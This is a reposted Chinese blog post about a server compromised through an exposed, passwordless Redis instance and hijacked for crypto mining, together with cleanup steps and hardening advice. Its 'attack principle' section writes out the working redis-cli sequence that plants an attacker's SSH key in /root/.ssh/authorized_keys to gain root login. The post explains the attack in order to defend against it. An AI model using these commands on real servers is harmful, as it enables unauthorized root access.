redis 漏洞造成服务器被入侵-CPU飙升
2019-10-09 09:35:02来源:博客园 阅读 ()
redis 漏洞造成服务器被入侵-CPU飙升
前言
??前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。
发现问题
??进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。
[root@VM_0_13_centos etc]# top
??果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。
[root@VM_0_13_centos etc]# kill -9 27882
??在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top
命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:
[root@VM_0_13_centos etc]# crontab -l
??果然有一个定时任务,那就删掉他。
[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root
??等我再次杀掉那个异常线程在 top
的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....
问题原因
??我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:
- 将redis暴露在公网上,即把redis绑定在0.0.0.0:6379
- redis密码过于简单,甚至没有(我就是后种情况..)
- 使用root权限操作redis
攻击原理
首先在本地产生密钥文件
$ ssh-keygen –t rsa
进入~/.ssh/,将公钥写进foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit $ redis-cli -h 192.168.1.11 $ 192.168.1.11:6379> config set dir /root/.ssh/ OK $ 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" $ 192.168.1.11:6379> config set dbfilename "authorized_keys" OK $ 192.168.1.11:6379> save OK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa root@192.168.1.11
即可远程利用自己的私钥登录该服务器。
??当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
解决方法
阻断服务器与外界进行数据传输
我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。
$ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
恢复
$ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
给redis设密码
配置文件redis.conf 中找到requirePass 项
清除authorized_keys的信息(如果有的话,我没有就不用了)
禁止定时任务开机启动
$ systemctl disabled cron.service
重启服务器,并删除定时任务
$ reboot $ rm -rf /var/spool/cron/root
redis 安装建议
禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1"?,去掉前面的"#"即可(Redis本来就是作为内存数据库,只要监听在本机即可);
设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass"?设置复杂密码?(需要重启Redis服务才能生效);
对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
修改Redis默认端口,将默认的6379端口修改为其他端口;
禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config?指令加大难度;
Redis使用普通用户权限,禁止使用?root?权限启动Redis?服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;
后记
??这次有惊无险,不然就得重装系统了。
如果觉得有用就关注我吧~
原文链接:https://www.cnblogs.com/menmenz/p/11642166.html
如有疑问请与原作者联系
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
- redis缓存 2020-06-12
- Spring Boot 2.3.0 新特性Redis 拓扑动态感应 2020-06-11
- 作为一个面试官,我想问问你Redis分布式锁怎么搞? 2020-06-10
- 分布式锁没那么难,手把手教你实现 Redis 分布锁!|保姆级教 2020-06-08
- Redis企业级数据备份与恢复方案 2020-06-04
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash